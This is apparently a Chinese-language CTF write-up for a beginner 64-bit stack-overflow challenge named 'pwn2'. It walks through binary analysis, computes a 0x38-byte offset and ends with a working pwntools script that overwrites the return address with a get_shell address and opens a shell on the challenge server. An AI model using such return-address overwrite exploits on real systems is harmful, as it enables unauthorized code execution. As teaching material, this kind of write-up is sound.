题目中给了附件,先下载附件,并启动场景
将附件重命名:“pwn2”,使用gdb pwn2 看下情况,或者是先用checksec pwn2 查看权限特点,再直接拖到IDA里也行
通过file pwn2 发现为 64位的程序,用IDA 64位打开 F5一下
通过查看read函数 和 get_shell,发现可能是栈溢出的基础题目,
我们发现只有read的第二个参数有可能溢出,就是return read里的buf
相差 0x30 + 0x08 = 0x38个单位
payload = b'a'*0x38 + p64(0x400751)
其中p64后面加的是get_shell的地址,也就是我们希望返回地址跳转的地址
from pwn import*
io = remote('114.67.246.176', 16292)
io.recvline()
payload = b'a'*0x38 + p64(0x400751)
io.sendline(payload)
io.interactive()